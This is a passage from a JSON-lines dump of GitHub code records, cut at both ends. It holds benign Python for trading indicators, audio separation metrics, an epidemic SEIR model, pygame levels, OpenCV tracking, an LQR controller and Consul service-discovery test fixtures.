df['close'].tolist()\n v = df['volume'].tolist()\n for i in df_range:\n if i >= 2:\n ii = i - 1\n iii = i - 2\n hp1, hp2, hp3 = h[i], h[ii], h[iii]\n lp1, lp2, lp3 = l[i], l[ii], l[iii]\n trending_up = hp1 > hp2 > hp3 and lp1 > lp2 > lp3\n trending_down = hp1 < hp2 < hp3 and lp1 < lp2 < lp3\n if trending_up and trending_down:\n trend_strength = 0\n elif trending_up:\n if trend_strength <= 0:\n trend_strength = 0\n trend_strength += 1\n elif trending_down:\n if trend_strength >= 0:\n trend_strength = 0\n trend_strength -= 1\n trend.append(trend_strength)\n si = i - sample\n ei = i + 1\n if i == df_last:\n mp = money_line(c[si:], **weights)\n mv = money_line(v[si:], **weights)\n elif i >= sample:\n mp = money_line(c[si:ei], **weights)\n mv = money_line(v[si:ei], **weights)\n else:\n mp = dict(_NO_MONEY_)\n mv = dict(_NO_MONEY_)\n for key, value in mp.items():\n money_p[f'price_{key}'].append(value)\n for key, value in mv.items():\n money_v[f'volume_{key}'].append(value)\n indicators = DataFrame(index=df.index)\n indicators['trend'] = trend\n for dataframe in [DataFrame(money_p), DataFrame(money_v)]:\n for key, value in dataframe.items():\n indicators[key] = value.tolist()\n price_sum = df['open'].values + df['high'].values\n price_sum += df['low'].values + df['close'].values\n indicators['price_med'] = (price_sum / 4).tolist()\n indicators['pct_chg'] = indicators['price_med'].pct_change(periods=1)\n indicators.replace([inf, -inf], nan, inplace=True)\n indicators.fillna(0, inplace=True)\n return indicators.copy()\n","repo_name":"razloz/infinitus_vigilantis","sub_path":"source/ivy_commons.py","file_name":"ivy_commons.py","file_ext":"py","file_size_in_byte":5011,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"34"} +{"seq_id":"7373212742","text":"import json\n\nfileName = 'try_it_yourself/ch10/10_11/fav_num.json'\n\ntry:\n with open(fileName) as f:\n fav_num = json.load(f)\n \n print(f'\\n* Your fav number: {fav_num}')\nexcept FileNotFoundError:\n print(f'\\n\\t{fileName} not found')\n","repo_name":"MinhVu88/PythonCC_2ndEd_Matthes","sub_path":"try_it_yourself/ch10/10_11/load.py","file_name":"load.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"39618589747","text":"import numpy as np\nimport torch\nfrom torchmetrics import ScaleInvariantSignalNoiseRatio, SignalDistortionRatio\nfrom torchmetrics.audio.stoi import ShortTimeObjectiveIntelligibility\nimport warnings\nimport torch.nn.functional as F\n\nwarnings.filterwarnings(\"ignore\")\nEPS = 1e-10\n\ndef preprocess(x, n_splitter=1, n_bits=8, sign=True, threshold=None):\n\n if len(x.shape) == 2: # 2D\n x = x.unsqueeze(1) # Output 3D: [batch, 1, samples]\n\n if n_splitter > 1:\n # Input 3D: [batch, audio_channels, samples]\n if threshold is None:\n x, threshold = x / max(abs(x.min()), abs(x.max())), 1 # Scale\n delta = threshold / (2 ** (n_bits - int(sign)))\n min_val = -2 ** (n_bits - int(sign)) if sign else 0\n max_val = 2 ** (n_bits - int(sign)) - 1\n\n def quantize(x):\n return torch.clip(torch.floor(x / delta), min_val, max_val) * delta\n\n y = []\n for _ in range(n_splitter):\n x_quant = quantize(x)\n y.append(x_quant)\n # error=x-x_quant: The error is in range [0, delta]\n x = 2 * (x - x_quant) * threshold/delta - threshold # make error in range [-threshold, threshold]\n return torch.cat(y, dim=1) # Output 3D: [batch, audio_channels*n_splitter, samples]\n\n return x\n\ndef postprocess(x, n_combiner=1, n_bits=8, sign=True):\n # Input shape: [n_combiner, batch, sources, audios_channels, n_samples]\n if n_combiner == 1:\n y = x.squeeze(0)\n else:\n delta = 1 / (2 ** (n_bits - int(sign)))\n y = x[0]\n for i in range(1,n_combiner):\n y += x[i] * (0.5 * delta) ** i\n\n _, _, audios_channels, _ = y.shape\n if audios_channels == 1:\n y = y.squeeze(2)\n\n return y\n\ndef normalize_audio(waveform, dim=-1):\n return waveform / waveform.abs().max(dim=dim, keepdim=True)[0]\n\ndef max_clip(x, max_check, max_clip=0.9):\n x_max = torch.max(torch.abs(x))\n gain = 1\n if x_max >= max_check:\n gain = max_clip/x_max\n x = x*gain\n return x, gain\n\ndef calc_sdr(ref, sig):\n sdr = torch.mean(ref ** 2) / torch.mean((ref - sig) ** 2 + EPS)\n return 10*np.log10(sdr.item())\n\ndef generate_mix_snr(signal1, signal2, snr):\n E1, E2 = torch.mean(signal1**2), torch.mean(signal2**2)\n current_snr = 10*np.log10(E1/E2)\n if current_snr < snr:\n gain2 = torch.sqrt((E1/E2)*(10**(-snr/10))) # decrease signal2\n signal2 = signal2*gain2\n else:\n gain1 = torch.sqrt((E2/E1)*(10**(snr/10))) # decrease signal1\n signal1 = signal1*gain1\n # Mixture\n mix = signal1 + signal2\n mix, gain = max_clip(mix, max_check=0.9)\n return mix, signal1 * gain, signal2 * gain\n\ndef generate_mix_snr_noise(sig, noise, snr):\n Es = torch.mean(sig**2)\n En = torch.mean(noise**2)\n gain = torch.sqrt((Es/En)/(10**(snr/10))) if Es>0 else 1.0\n return sig + gain*noise\n\ndef swap_channel_order(sep_tensor, clean_tensor):\n n_src = clean_tensor.shape[0]\n if n_src == 1:\n return sep_tensor\n\n new_sep_tensor = sep_tensor.clone()\n for src in range(n_src):\n # The model output for specific src\n sep_ch = sep_tensor[src:src+1,:]\n # The order of the clean signals is unknown and may not match to model output, so we match them by max SI-SNR\n max_sisnr, max_sisnr_idx = -torch.inf, 0\n for i in range(n_src):\n sisnr = ScaleInvariantSignalNoiseRatio()(sep_ch, clean_tensor[i])\n if sisnr > max_sisnr:\n max_sisnr = sisnr\n max_sisnr_idx = i\n # If swap occurs, signal is also swaped by signal sign, so we need to fix it\n new_sep_tensor[max_sisnr_idx,...] = sep_ch if src==max_sisnr_idx else -sep_ch\n return new_sep_tensor\n\ndef metric_evaluation(sep_waveform, clean_waveforms, sample_rate=16000):\n n_src = clean_waveforms.shape[0]\n sisnrs, sdrs, stois = np.zeros(n_src), np.zeros(n_src), np.zeros(n_src)\n\n for src in range(n_src):\n # The model output for specific src\n sep_waveform_ch = sep_waveform[src:src+1,:]\n\n # The order of the clean signals is unknown and may not match to model output, so we match them by max SI-SNR\n max_sisnr, max_sisnr_idx = -torch.inf, 0\n for i in range(n_src):\n sisnr = ScaleInvariantSignalNoiseRatio()(sep_waveform_ch, clean_waveforms[i])\n if sisnr > max_sisnr:\n max_sisnr = sisnr\n max_sisnr_idx = i\n clean_waveform_ch = clean_waveforms[max_sisnr_idx]\n\n # SI-SNR\n sisnr = max_sisnr\n # SDR\n sdr = SignalDistortionRatio()(sep_waveform_ch, clean_waveform_ch)\n # STOI\n stoi = ShortTimeObjectiveIntelligibility(fs=sample_rate)(sep_waveform_ch, clean_waveform_ch)\n # Store results\n sisnrs[src], sdrs[src], stois[src] = sisnr, sdr, stoi\n\n # Average by number of sources\n return np.mean(sisnrs), np.mean(sdrs), np.mean(stois)\n\ndef model_infer(model, mix, segment=None, overlap=0.25,\n n_splitter_bits=8, n_combiner_bits=8, device='cpu', target=None):\n\n if segment:\n channels, length = mix.shape\n out_shape = (model.n_srcs, channels, length) if channels>1 else (model.n_srcs, length)\n out = torch.zeros(*out_shape)\n sum_weight = torch.zeros(length)\n stride = int((1 - overlap) * segment)\n offsets = range(0, length, stride)\n weight = torch.cat([torch.arange(1, segment // 2 + 1), torch.arange(segment - segment // 2, 0, -1)])\n assert len(weight) == segment\n weight = (weight / weight.max())\n for offset in offsets:\n start = offset\n stop = min(start+segment, length)\n chunk = mix[...,start:stop]\n chunk_out = model_infer(model, chunk, device=device,\n n_splitter_bits=n_splitter_bits,\n n_combiner_bits=n_combiner_bits)\n chunk_length = chunk_out.shape[-1]\n chunk_out = swap_channel_order(chunk_out, torch.from_numpy(target)[...,start:start+segment]) if target and model.n_srcs>1 else chunk_out\n out[..., start:stop] += weight[:chunk_length] * chunk_out\n sum_weight[start:stop] += weight[:chunk_length]\n assert sum_weight.min() > 0\n out /= sum_weight\n return out\n else:\n # Preprocess\n # ------------------------\n mix = mix.unsqueeze(0) # assume batch_size=1\n mix = preprocess(mix, n_splitter=model.n_splitter, n_bits=n_splitter_bits)\n\n # Run model\n # -------------------------\n with torch.no_grad():\n out = model(mix.to(device)).detach().cpu()\n\n # Postprocess\n # ------------------------\n out = postprocess(out, n_combiner=model.n_combiner, n_bits=n_combiner_bits)\n out = out[0] # assume batch_size=1\n # Padding, so output will be the same size as input\n out = F.pad(out, (0, mix.size(-1) - out.size(-1)))\n\n return out\n\n","repo_name":"zhongshijun/FQSE","sub_path":"process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":6988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"34"} +{"seq_id":"7775122952","text":"import numpy as np\nimport pandas as pd\nfrom scipy.integrate import solve_ivp\nimport models.helper as h\nimport time\nfrom joblib import Parallel, delayed\nimport matplotlib.pyplot as plt\n\nn_cores = 7 # todo: adjust to make actual number of cores\n\ndef solve_SIRS_model(par, var_par, include_fatigue=True):\n\n def model_wrapper(t, y, par):\n\n # Split compartments\n S, E, I, R, C = h.split_seir_compartments(y=y, par=par)\n # Run simulation\n S, E, I, R, C = h.age_structured_SEIR_model(S=S, E=E, I=I, R=R,\n C=C, par=par)\n # Combine compartments\n y_new = np.concatenate((S, E.flatten(), I.flatten(), R, C))\n\n return y_new\n\n # Start of interventions\n\n # End all interventions not affecting older age classes\n var_par_off = var_par.copy()\n if include_fatigue:\n var_par_off[[\"q_a\", \"q_ya\", \"q_y\"]] = 0\n\n cm_no_int = par[\"cm\"]\n cm_int1 = h.get_intervention_cm(par=par, var_par=var_par)\n cm_int2 = h.get_intervention_cm(par=par, var_par=var_par_off)\n\n\n # Initial conditions\n initial_cond = h.set_initial_conditions(par)\n\n # Crude implementation of applying controls (off->on->reduced)\n par[\"cm_sd\"] = cm_no_int\n sol = solve_ivp(fun=model_wrapper, t_span=[0, par[\"tint\"]],\n y0=initial_cond, method=\"RK45\",\n t_eval=np.arange(0, par[\"tint\"]+1, 1),\n args=(par,))\n\n par[\"cm_sd\"] = cm_int1\n sol2 = solve_ivp(fun=model_wrapper, t_span=[par[\"tint\"], par[\"tint2\"]],\n y0=sol[\"y\"][:, -1], method=\"RK45\",\n t_eval=np.arange(par[\"tint\"]+1, par[\"tint2\"]+1, 1),\n args=(par,))\n\n par[\"cm_sd\"] = cm_int2\n sol3 = solve_ivp(fun=model_wrapper, t_span=[par[\"tint2\"], par[\"tmax\"]],\n y0=sol2[\"y\"][:, -1], method=\"RK45\",\n t_eval=np.arange(par[\"tint2\"]+1, par[\"tmax\"]+1, 1),\n args=(par,))\n\n # # Reset par[\"cm\"] to its original value\n # par[\"cm\"] = cm_no_int\n\n # Convert output to dataframe\n ret_df = pd.concat([h.convert_to_data_frame(output=sol, par=par),\n h.convert_to_data_frame(output=sol2, par=par),\n h.convert_to_data_frame(output=sol3, par=par)], axis=0)\n return ret_df\n\n\ndef out_df_wrapper(i, par, var_par, include_fatigue=True):\n n_ages = par[\"n_ages\"]\n\n out_df = solve_SIRS_model(par=par, var_par=var_par,\n include_fatigue=include_fatigue)\n out_df[\"run\"] = i\n I_cols = [\"I\" + str(y) for y in range(0, n_ages)] # todo: why is this done here?\n out_df[\"I_tot\"] = out_df[I_cols].sum(axis=1)\n return out_df\n\n#%%\n# todo check if i need to tweak start date for control with different R0\n\n\ndef run_seir_simulations(par, include_fatigue=True):\n\n\n\n if include_fatigue:\n filepath = h.with_fatigue_filepath\n else:\n filepath = h.no_fatigue_filepath\n\n exp_design = pd.read_csv(h.exp_design_filepath, index_col=0)\n\n start_time = time.time()\n out = Parallel(n_jobs=n_cores)(delayed(out_df_wrapper)(i, par=par,\n var_par=r,\n include_fatigue=include_fatigue)\n for i, r in exp_design.iterrows())\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n\n out = pd.concat(out)\n out = out.sort_values([\"run\", \"time\"])\n\n h.get_fatality_rate(out, stay_duration=par[\"stay_duration\"])\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n\n out.to_csv(filepath)\n\n\ndef single_seir_run_test(par):\n\n exp_design = pd.read_csv(h.exp_design_filepath, index_col=0)\n out_df = solve_SIRS_model(par=par, var_par=exp_design.iloc[0])\n out_df[\"run\"] = 0\n I_cols = [\"I\" + str(y) for y in range(0, par[\"n_ages\"])]\n out_df[\"I_tot\"] = out_df[I_cols].sum(axis=1)\n\n return out_df\n\n\ndef get_last_day_below(par, threshold=10000):\n\n df = single_seir_run_test(par=par)\n I_tot_max = df[\"I_tot\"].cummax()\n\n return I_tot_max[(I_tot_max < threshold)].index.max()\n\n\ndef single_run_test_plot(par, t2=2):\n\n df = single_seir_run_test(par=par)\n fig, axes = plt.subplots(figsize=(5, 4))\n ax = axes\n ax.plot(np.log10(df[\"I_tot\"]))\n x = np.arange(0,50,2)\n ax.plot(np.log10(df[\"I_tot\"]))\n ax.plot(x, x*np.log10(2)/t2)\n\n return fig\n\n#fig_single = single_run_test_plot(R0=6.0)\n#plt.show()\n\n\n","repo_name":"tsbrett/COVID-19_herd_immunity","sub_path":"models/age_structured_seir_model_gamma_dist.py","file_name":"age_structured_seir_model_gamma_dist.py","file_ext":"py","file_size_in_byte":4492,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"32410175141","text":"\nvocabliary, text = [], []\nwords = []\nd = int(input())\nfor _ in range(d):\n vocabliary.append(input().lower())\nvocabliary = set(vocabliary)\n\nL = int(input())\nfor _ in range(L):\n words.append(input().split())\ntext = set(words)\n\n#text.difference_update(vocabliary)\nprint(text - vocabliary)","repo_name":"GolDOragon/Some-tasks-on-Python","sub_path":"stepik/Programing on Python/Third week/3.7-3 v.2(Ошибка).py","file_name":"3.7-3 v.2(Ошибка).py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"10387363035","text":"# pip install opencv-contrib-python\r\nimport cv2 as cv\r\nimport numpy as np\r\n\r\ntracker_types = ['BOOSTING', 'MIL', 'KCF', 'TLD', 'MEDIANFLOW', 'MOSSE', 'CSRT']\r\ntracker_type = tracker_types[5]\r\ntracker = None\r\n\r\nif tracker_type == 'BOOSTING':\r\n\ttracker = cv.TrackerBoosting_create()\r\nelif tracker_type == 'MIL':\r\n\ttracker = cv.TrackerMIL_create()\r\nelif tracker_type == 'KCF':\r\n\ttracker = cv.TrackerKCF_create()\r\nelif tracker_type == 'TLD':\r\n\ttracker = cv.TrackerTLD_create()\r\nelif tracker_type == 'MEDIANFLOW':\r\n\ttracker = cv.TrackerMedianFlow_create()\r\nelif tracker_type == 'MOSSE':\r\n\ttracker = cv.TrackerMOSSE_create()\r\nelif tracker_type == \"CSRT\":\r\n\ttracker = cv.TrackerCSRT_create()\r\n\r\n\r\nvideo = cv.VideoCapture(0)\r\n\r\nwhile True:\r\n\tok, frame = video.read()\r\n\tif not ok: break\r\n\tcv.imshow('Tracking', frame)\r\n\tif cv.waitKey(1) != -1: break\r\n\r\nbbox = cv.selectROI('Tracking', frame, showCrosshair=False)\r\nprint(bbox)\r\n\r\n# Initialize tracker with first frame and bounding box\r\nok = tracker.init(frame, bbox)\r\nprint('tracker.init :', ok)\r\n\r\ncount = 0\r\nfps = 0\r\nt0 = cv.getTickCount()\r\n\r\nwhile True:\r\n\r\n\tok, frame = video.read()\r\n\tif not ok: break\r\n\tif cv.waitKey(1) == 27: break\r\n\r\n\t# Update tracker\r\n\tok, bbox = tracker.update(frame)\r\n\r\n\t# Draw bounding box\r\n\tif ok:\r\n\t\t# Tracking success\r\n\t\tp1 = (int(bbox[0]), int(bbox[1]))\r\n\t\tp2 = (int(bbox[0] + bbox[2]), int(bbox[1] + bbox[3]))\r\n\t\tcv.rectangle(frame, p1, p2, (0, 255, 0), 2)\r\n\telse:\r\n\t\t# Tracking failure\r\n\t\tcv.putText(frame, 'Tracking failure', (200, 240), cv.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2)\r\n\r\n\t# Display tracker type on frame\r\n\tcv.putText(frame, tracker_type + \" Tracker\", (10, 60), cv.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 2)\r\n\r\n\t# Display FPS on frame\r\n\tcv.putText(frame, \"FPS : \" + str(int(fps)), (10, 30), cv.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 2)\r\n\r\n\t# Display result\r\n\tcv.imshow('Tracking', frame)\r\n\r\n\t# Exit if ESC pressed\r\n\tif cv.waitKey(1) == 27: break\r\n\r\n\tcount += 1\r\n\tif( count == 10 ):\r\n\t\tt = cv.getTickCount()\r\n\t\ttime = (t-t0) / cv.getTickFrequency()\r\n\t\tfps = int(np.round(10/time))\r\n\t\tcount = 0\r\n\t\tt0 = t\r\n\r\n","repo_name":"sungalex/computer-vision","sub_path":"opencv/30.object_tracking.py","file_name":"30.object_tracking.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"14520462044","text":"import pygame\nfrom rock_element import Rocks\n\ndef draw_round(screen,level_text):\n font = pygame.font.SysFont(\"microsoftjhengheimicrosoftjhengheiui\", 30)\n level_text = font.render(level_text , True, \"BLACK\")\n screen.blit(level_text, (500, 10)) \n \ndef round(score,screen): \n if score >= 0 and score < 2:\n draw_round(screen,\"TUTORIAL\")\n if score >= 2 and score < 10: \n draw_round(screen,\"ROUND 1\") \n if score >=10 and score < 21:\n draw_round(screen,\"ROUND 2\")\n if score >= 21 and score < 43:\n draw_round(screen,\"ROUND 3\")\n if score >= 43 and score < 69:\n draw_round(screen,\"ROUND 4\")\n if score >= 69 :\n draw_round(screen,\"FINAL ROUND\")\n \n\n\ndef tutorial(enemies,create_enemy):\n if len(enemies) < 2:\n create_enemy()\n\ndef lvl_1 (enemies,create_enemy,list_rocks):\n if len(list_rocks) == 7:\n list_rocks.append(Rocks(\"Images\\\\rock.png\", 40, 200,250))\n list_rocks.append(Rocks(\"Images\\\\rock.png\", 40, 350,100))\n if len(enemies) < 5:\n create_enemy()\n\ndef lvl_2(enemies,create_enemy,list_rocks):\n if len(list_rocks) == 9:\n list_rocks.append(Rocks(\"Images\\\\rock.png\", 40, 350,100))\n list_rocks.append(Rocks(\"Images\\\\rock.png\", 40, 500,700))\n if len(enemies) < 7:\n create_enemy()\n \ndef lvl_3(enemies,create_enemy,list_rocks):\n if len(list_rocks) == 11:\n list_rocks.append(Rocks(\"Images\\\\rock.png\", 40, 350,550))\n list_rocks.append(Rocks(\"Images\\\\rock.png\", 40, 525,689))\n if len(enemies) < 10:\n create_enemy()\n \ndef lvl_4(enemies,create_enemy,list_rocks):\n if len(list_rocks) == 13:\n list_rocks.append(Rocks(\"Images\\\\rock.png\", 40, 100,540))\n list_rocks.append(Rocks(\"Images\\\\rock.png\", 40, 900,540))\n if len(enemies) < 20:\n create_enemy()\n \ndef lvl_5(enemies,create_enemy):\n if len(enemies) < 20:\n create_enemy()\n\n","repo_name":"AleFalcone27/Code_Defender","sub_path":"Levels/LVL1.py","file_name":"LVL1.py","file_ext":"py","file_size_in_byte":1941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"9825978989","text":"import numpy as np\nimport torch as to\n\nimport pyrado\nfrom pyrado.algorithms.base import Algorithm\nfrom pyrado.algorithms.stopping_criteria.predefined_criteria import CustomStoppingCriterion\nfrom pyrado.environment_wrappers.utils import inner_env\nfrom pyrado.environments.pysim.quanser_ball_balancer import QBallBalancerSim\nfrom pyrado.environments.rcspysim.ball_on_plate import BallOnPlate5DSim\nfrom pyrado.environments.sim_base import SimEnv\nfrom pyrado.logger.step import StepLogger\nfrom pyrado.policies.base import Policy\nfrom pyrado.policies.feed_back.linear import LinearPolicy\nfrom pyrado.sampling.cvar_sampler import CVaRSampler\nfrom pyrado.sampling.parallel_rollout_sampler import ParallelRolloutSampler\nfrom pyrado.tasks.reward_functions import QuadrErrRewFcn\nfrom pyrado.utils.tensor import insert_tensor_col\n\n\nclass LQR(Algorithm):\n \"\"\"Linear Quadratic Regulator created using the control module\"\"\"\n\n name: str = \"lqr\"\n\n def __init__(\n self,\n save_dir: pyrado.PathLike,\n env: SimEnv,\n policy: Policy,\n min_rollouts: int = None,\n min_steps: int = None,\n num_workers: int = 4,\n logger: StepLogger = None,\n ball_z_dim_mismatch: bool = True,\n ):\n \"\"\"\n Constructor\n\n :param save_dir: directory to save the snapshots i.e. the results in\n :param env: the environment which the policy operates\n :param policy: policy which this algorithm is creating\n :param min_rollouts: minimum number of rollouts sampled per policy update batch\n :param min_steps: minimum number of state transitions sampled per policy update batch\n :param num_workers: number of environments for parallel sampling\n :param ball_z_dim_mismatch: only useful for BallOnPlate5DSim,\n set to True if the controller does not have the z component (relative position)\n of the ball in the state vector, i.e. state is 14-dim instead of 16-dim\n \"\"\"\n if not isinstance(env, SimEnv):\n raise pyrado.TypeErr(given=env, expected_type=SimEnv)\n if not isinstance(policy, LinearPolicy):\n raise pyrado.TypeErr(given=policy, expected_type=LinearPolicy)\n\n # Call Algorithm's constructor\n super().__init__(save_dir, 1, policy, logger)\n\n # Store the inputs\n self._env = env\n self.ball_z_dim_mismatch = ball_z_dim_mismatch\n\n self._sampler = ParallelRolloutSampler(\n env, self._policy, num_workers=num_workers, min_steps=min_steps, min_rollouts=min_rollouts\n )\n self.eigvals = np.array([pyrado.inf]) # initialize with sth positive\n\n @property\n def sampler(self) -> ParallelRolloutSampler:\n return self._sampler\n\n @sampler.setter\n def sampler(self, sampler: ParallelRolloutSampler):\n if not isinstance(sampler, (ParallelRolloutSampler, CVaRSampler)):\n raise pyrado.TypeErr(given=sampler, expected_type=(ParallelRolloutSampler, CVaRSampler))\n self._sampler = sampler\n\n def step(self, snapshot_mode: str, meta_info: dict = None):\n\n if isinstance(inner_env(self._env), BallOnPlate5DSim):\n ctrl_gains = to.tensor(\n [\n [0.1401, 0, 0, 0, -0.09819, -0.1359, 0, 0.545, 0, 0, 0, -0.01417, -0.04427, 0],\n [0, 0.1381, 0, 0.2518, 0, 0, -0.2142, 0, 0.5371, 0, 0.03336, 0, 0, -0.1262],\n [0, 0, 0.1414, 0.0002534, 0, 0, -0.0002152, 0, 0, 0.5318, 0, 0, 0, -0.0001269],\n [0, -0.479, -0.0004812, 39.24, 0, 0, -15.44, 0, -1.988, -0.001934, 9.466, 0, 0, -13.14],\n [0.3039, 0, 0, 0, 25.13, 15.66, 0, 1.284, 0, 0, 0, 7.609, 6.296, 0],\n ]\n )\n\n # Compensate for the mismatching different state definition\n if self.ball_z_dim_mismatch:\n ctrl_gains = insert_tensor_col(ctrl_gains, 7, to.zeros((5, 1))) # ball z position\n ctrl_gains = insert_tensor_col(ctrl_gains, -1, to.zeros((5, 1))) # ball z velocity\n\n elif isinstance(inner_env(self._env), QBallBalancerSim):\n # Since the control module can by tricky to install (recommended using anaconda), we only load it if needed\n import control\n\n # System modeling\n dp = self._env.domain_param\n dp[\"J_eq\"] = self._env._J_eq\n dp[\"B_eq_v\"] = self._env._B_eq_v\n dp[\"c_kin\"] = self._env._c_kin\n dp[\"zeta\"] = self._env._zeta\n dp[\"A_m\"] = self._env._A_m\n\n A = np.zeros((self._env.obs_space.flat_dim, self._env.obs_space.flat_dim))\n A[: self._env.obs_space.flat_dim // 2, self._env.obs_space.flat_dim // 2 :] = np.eye(\n self._env.obs_space.flat_dim // 2\n )\n A[4, 4] = -dp[\"B_eq_v\"] / dp[\"J_eq\"]\n A[5, 5] = -dp[\"B_eq_v\"] / dp[\"J_eq\"]\n A[6, 0] = dp[\"c_kin\"] * dp[\"ball_mass\"] * dp[\"gravity_const\"] * dp[\"ball_radius\"] ** 2 / dp[\"zeta\"]\n A[6, 6] = -dp[\"c_kin\"] * dp[\"ball_radius\"] ** 2 / dp[\"zeta\"]\n A[7, 1] = dp[\"c_kin\"] * dp[\"ball_mass\"] * dp[\"gravity_const\"] * dp[\"ball_radius\"] ** 2 / dp[\"zeta\"]\n A[7, 7] = -dp[\"c_kin\"] * dp[\"ball_radius\"] ** 2 / dp[\"zeta\"]\n B = np.zeros((self._env.obs_space.flat_dim, self._env.act_space.flat_dim))\n B[4, 0] = dp[\"A_m\"] / dp[\"J_eq\"]\n B[5, 1] = dp[\"A_m\"] / dp[\"J_eq\"]\n # C = np.zeros((self._env.obs_space.flat_dim // 2, self._env.obs_space.flat_dim))\n # C[:self._env.obs_space.flat_dim // 2, :self._env.obs_space.flat_dim // 2] =\n # np.eye(self._env.obs_space.flat_dim // 2)\n # D = np.zeros((self._env.obs_space.flat_dim // 2, self._env.act_space.flat_dim))\n\n # Get the weighting matrices from the environment\n if not isinstance(self._env.task.rew_fcn, QuadrErrRewFcn):\n # The environment uses a reward function compatible with the LQR\n Q = self._env.task.rew_fcn.Q\n R = self._env.task.rew_fcn.R\n else:\n # The environment does not use a reward function compatible with the LQR, apply some fine tuning\n Q = np.diag([1e2, 1e2, 5e2, 5e2, 1e-2, 1e-2, 5e0, 5e0])\n R = np.diag([1e-2, 1e-2])\n\n # Solve the continuous time Riccati eq\n K, _, self.eigvals = control.lqr(A, B, Q, R) # for discrete system pass dt\n ctrl_gains = to.from_numpy(K).to(to.get_default_dtype())\n\n else:\n raise pyrado.TypeErr(given=inner_env(self._env), expected_type=[BallOnPlate5DSim, QBallBalancerSim])\n\n # Assign the controller gains\n self._policy.init_param(-1 * ctrl_gains) # in classical control it is u = -K*x; here a = psi(s)*s\n\n # Sample rollouts to evaluate the LQR\n ros = self.sampler.sample()\n\n # Logging\n rets = [ro.undiscounted_return() for ro in ros]\n self.logger.add_value(\"max return\", np.max(rets), 4)\n self.logger.add_value(\"median return\", np.median(rets), 4)\n self.logger.add_value(\"min return\", np.min(rets), 4)\n self.logger.add_value(\"avg return\", np.mean(rets), 4)\n self.logger.add_value(\"std return\", np.std(rets), 4)\n self.logger.add_value(\"avg rollout len\", np.mean([ro.length for ro in ros]), 4)\n self.logger.add_value(\"num total samples\", self._cnt_samples)\n self.logger.add_value(\n \"min mag policy param\", self._policy.param_values[to.argmin(abs(self._policy.param_values))]\n )\n self.logger.add_value(\n \"max mag policy param\", self._policy.param_values[to.argmax(abs(self._policy.param_values))]\n )\n\n # Save snapshot data\n self.make_snapshot(snapshot_mode, float(np.mean(rets)), meta_info)\n\n self.stopping_criterion = self.stopping_criterion | CustomStoppingCriterion(self._custom_stopping_criterion)\n\n @staticmethod\n def _custom_stopping_criterion(algo: \"LQR\") -> bool:\n \"\"\"Checks if the all eigenvalues of the closed loop system are negative.\"\"\"\n return (algo.eigvals < 0).all()\n\n def save_snapshot(self, meta_info: dict = None):\n super().save_snapshot(meta_info)\n\n if meta_info is None:\n # This algorithm instance is not a subroutine of another algorithm\n pyrado.save(self._env, \"env.pkl\", self.save_dir)\n","repo_name":"famura/SimuRLacra","sub_path":"Pyrado/pyrado/algorithms/episodic/predefined_lqr.py","file_name":"predefined_lqr.py","file_ext":"py","file_size_in_byte":8460,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"34"} +{"seq_id":"31343014611","text":"import pytest\n\nfrom discovery import api\n\n\ndef list_services_response():\n return {\n \"redis\": {\n \"ID\": \"redis\",\n \"Service\": \"redis\",\n \"Tags\": [],\n \"TaggedAddresses\": {\n \"lan\": {\"address\": \"127.0.0.1\", \"port\": 8000},\n \"wan\": {\"address\": \"198.18.0.53\", \"port\": 80},\n },\n \"Meta\": {\"redis_version\": \"4.0\"},\n \"Port\": 8000,\n \"Address\": \"\",\n \"EnableTagOverride\": False,\n \"Weights\": {\"Passing\": 10, \"Warning\": 1},\n }\n }\n\n\ndef register_payload():\n return {\n \"ID\": \"redis1\",\n \"Name\": \"redis\",\n \"Tags\": [\"primary\", \"v1\"],\n \"Address\": \"127.0.0.1\",\n \"Port\": 8000,\n \"Meta\": {\"redis_version\": \"4.0\"},\n \"EnableTagOverride\": False,\n \"Check\": {\n \"DeregisterCriticalServiceAfter\": \"90m\",\n \"Args\": [\"/usr/local/bin/check_redis.py\"],\n \"Interval\": \"10s\",\n \"Timeout\": \"5s\",\n },\n \"Weights\": {\"Passing\": 10, \"Warning\": 1},\n }\n\n\ndef service_health_id_response():\n return {\n \"passing\": {\n \"ID\": \"web1\",\n \"Service\": \"web\",\n \"Tags\": [\"rails\"],\n \"Address\": \"\",\n \"TaggedAddresses\": {\n \"lan\": {\"address\": \"127.0.0.1\", \"port\": 8000},\n \"wan\": {\"address\": \"198.18.0.53\", \"port\": 80},\n },\n \"Meta\": None,\n \"Port\": 80,\n \"EnableTagOverride\": False,\n \"Connect\": {\"Native\": False, \"Proxy\": None},\n \"CreateIndex\": 0,\n \"ModifyIndex\": 0,\n }\n }\n\n\ndef service_health_name_response():\n return {\n \"critical\": [\n {\n \"ID\": \"web2\",\n \"Service\": \"web\",\n \"Tags\": [\"rails\"],\n \"Address\": \"\",\n \"TaggedAddresses\": {\n \"lan\": {\"address\": \"127.0.0.1\", \"port\": 8000},\n \"wan\": {\"address\": \"198.18.0.53\", \"port\": 80},\n },\n \"Meta\": None,\n \"Port\": 80,\n \"EnableTagOverride\": False,\n \"Connect\": {\"Native\": False, \"Proxy\": None},\n \"CreateIndex\": 0,\n \"ModifyIndex\": 0,\n }\n ],\n \"passing\": [\n {\n \"ID\": \"web1\",\n \"Service\": \"web\",\n \"Tags\": [\"rails\"],\n \"Address\": \"\",\n \"TaggedAddresses\": {\n \"lan\": {\"address\": \"127.0.0.1\", \"port\": 8000},\n \"wan\": {\"address\": 